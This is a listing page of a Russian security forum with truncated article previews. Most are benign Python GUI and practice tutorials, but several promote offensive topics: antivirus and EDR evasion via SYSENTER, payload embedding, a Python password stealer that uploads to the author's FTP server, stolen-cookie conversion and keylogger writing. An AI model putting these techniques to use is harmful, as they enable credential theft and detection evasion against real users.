• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Программирование для ИБ

Статья Как обойти антивирусы и EDR: глубокое погружение в SYSENTER и Native‑API

  • 9 668
  • 8
Многоуровневое разграничение прав в системах класса Windows, накладывает свой отпечаток на систему безопасности в целом. Разработчикам логичней было создать один защитный пласт и закрыть его на большой замок, но они раскромсали его на мелкие части, в результате чего появилось множество дыр и обходных путей на разных уровнях. В данной статье рассматривается одна из таких лазеек, а точнее – скрытый запуск ядерных API-функций, что даёт возможность прямо под юзером обходить различные гуарды, мониторы безопасности, API-шпионы, антивирусы и прочие силовые структуры. Не сказать, что тема новая.. просто она незаслуженно забыта, и в силу своей сложности всё реже встречается в защитных механизмах наших дней.

Оглавление:


1. Инструкция SYSENTER – общие сведения.
2. SSDT – System Service Descriptor Table.
3. Разбор таблицы-экспорта библиотеки Ntdll.dll.
...

Пишем графическую оболочку на Python - часть 4

  • 10 405
  • 12
Всем привет!

По просьбам трудящихся всё-таки решил написать ещё одно продолжение предыдущих статей. Часть 1 Часть 2 Часть 3

Сегодня будем наводить красоту. В качестве подопытного возьмём генератор паролей с тремя кнопками – генерировать, очистить и сохранить.

Python:
from tkinter import *
import random
from tkinter import filedialog as fd
import string
__version__ = 'Version: 2.1'

root = Tk()
root.resizable(width=False, height=False)
root.title("Password generator  " + str(__version__))
root.geometry("420x320+300+300")
calculated_text = Text(root, height=14, width=50)

def erase():
    calculated_text.delete('1.0', END)

chars = string.ascii_letters +...

Статья ZIP'аем файл вручную (часть.1. упаковщик)

  • 8 636
  • 4
ZIP.png

Допустим имеем файл и нужно перенести его в своей программе на чужую машину. Если этот файл будет внешним (на подобии библиотеки или драйвера), то сразу бросится в глаза. А что если зашить его в своё тело и создавать при запуске основного приложения? Благо производительность современных процессоров это позволяет и жертва даже не успеет понять в чём дело. Другими словами получим матку, которая будет порождать файлы.

Всё-бы хорошо, только таскать в себе готовые бинарники типа exe\dll в несжатом виде тоже не лучшая идея – одних только "байтов выравнивания" в них под 50%, а для использования готовых архиваторов нужен к нему распаковщик. Так-что иметь в запазухе обычный зиппер это всегда гуд, а данная статья (надеюсь) поможет вам разобраться в его деталях. Буду использовать ассемблер FASM, двоичный редактор HxD, ну и виндовый кальк в инженерном виде.
----------------------------------------

[COLOR=rgb(243, 121...

Python скрипт для отслеживания запускаемых приложений

  • 20 848
  • 18
В данной статье приведу пример мониторинга запускаемых приложений в ОС windows.
Скрипт для ведения логов будет написан на python 3.
Скрипт позволит просмотреть, какие процессы и приложения запускались системой и пользователем, а так же закрывать нежелательные приложения/процессы.

Для начала напишем определим, что именно будет делать скрипт.
1. Скрипт будет работать в системе постоянно, в скрытом режиме.
2. Скрипт должен записывать все запускаемые приложения в формате ("имя приложения" "id процесса" "Потребляемая память" "Время запуска" "Дата запуска")
3. Так же скрипт будет записывать все завершающиеся процессы в таком же формате
4. Скрипт не будет регистрировать запуск и завершение приложений из "черного" списка
5. Скрипт будет завершать процессы из произвольного списка

Теперь давайте определим, какие модули нам понадобятся и импортируем их

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
from time import sleep, time
import log
import threading

def...

Статья Разработка ПО на Python для анализа безопасности данных

  • 34 355
  • 38
Всем привет, это моя первая статья, сразу хочу сказать)

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого: подключения библиотек.
Python:
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
  • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то, существует ли она в природе
  • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData
  • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
  • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер
И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто...

Изучаем Python на практике. Конвертируем cookies Google Chrome из txt в json.

  • 7 037
  • 1
Это третья статья авторского цикла "Изучаем Python на практике".

Предыдущие части:
  1. Изучаем Python на практике. Пишем чекер SSH серверов
  2. Изучаем Python на практике. Пишем аналог утилит wc и split (для подсчета строк и разрезания текстовых файлов)
Из за отсутствия фидбека пропало желание писать, может быть тема сегодняшнего поста будет интересна более широкому кругу читателей форума.

Есть такая проблема - когда есть "бэкап" (ну мы то знаем, что это на самом деле :)) кук Google Chrome в формате txt, но для того, что бы их снова импортировать в браузер, нужно конвертировать их файл в формате json. В сети ходит скрипт на PHP, но его неудобно использовать, так как нужен запущенный веб сервер...

Мониторинг пользовательской активности в Windows: Запись действий и создание кейлоггера

  • 9 062
  • 2
Привет-привет!

Хочу рассказать об одном интересном опыте, триггером для получения которого стал мой товарищ, проходивший собеседование в одну структуру исполнительной власти одного государства. Чтобы ни у кого не возникло никаких ассоциаций с реальностью (так как, разумеется, история полностью выдуманная), назовем оное государство Фракцией Рептилоидов (ФР), а оную структуру Большой Статистической Флуктуацией (БСФ). Итак, приходит мой друг в здание, где расположилось БСФ ФР, просачивается через 100500 механизмов биометрической аутентификации (забыл сказать, структура занимается сверхсекретными делами государства и напрямую связана с безопасностью, поэтому охрана мероприятия на высшем уровне) и оказывается в оборудованной по последнему слову технике комнатке, в которой нет места отваливающемуся линолеуму и валяющимся-на-проходе огрызкам проводов, где в него с порога шарашат оригинальным предложением: «А вот если я тебе прямо сейчас дам ноутбук, напишешь мне кейлоггер?!».

Практика для Python

  • 13 871
  • 16
Привет! Заметил, что проблемой некоторых после изучения ЯП является оттачивание навыков, то есть практика.
Именно поэтому решил отобрать парочку достойных сайтов для практики языка программирования Python,
но чтобы не получился копипаст решил также разобрать парочку заданий с каждого сайта.


1| - Сайт с загадками для решения которых нужно использовать Python.
Сложность увеличивается в геометрической прогрессии с каждой новой задачей.


Давайте решим задачки с этого сайта:

Для решение этой задачи не нужны никакие знания языка программирования.
Чтобы решить эту задачу, нужно просто придерживаться логики.


26612


Как видим, сайт даёт нам подсказку, благодаря, которой мы должны перейти к следующему уровню.
Данную задачу, как и все последующие можно решить двумя...

Каталог PHP, JS, HTML: каталог статей "list of articles"

Пишем графическую оболочку на Python - часть 3

  • 9 655
  • 14
Часть 1 Часть 2

Всем привет!

В предыдущих частях мы познакомились с двумя методами позиционирования элементов - pack() и place(). Для выполнения простых задач они вполне подходят. А если у нас планируется программа, где будет сложный интерфейс, или просто большое количество элементов, то самым лучшим методом будет несомненно grid(). На первый взгляд метод немного посложнее, но разобравшись в сути, он не станет выглядеть сложным.

Метод grid() как ясно из названия, представляет собой сетку. Выглядит схематично это следующим образом:

То есть окно программы делится на столбцы и строки, а нумерация начинается с нуля. И прежде чем начать программировать, лучше всего начертить будущую программу на обычном листочке в клеточку. Это даст полное представление в какие...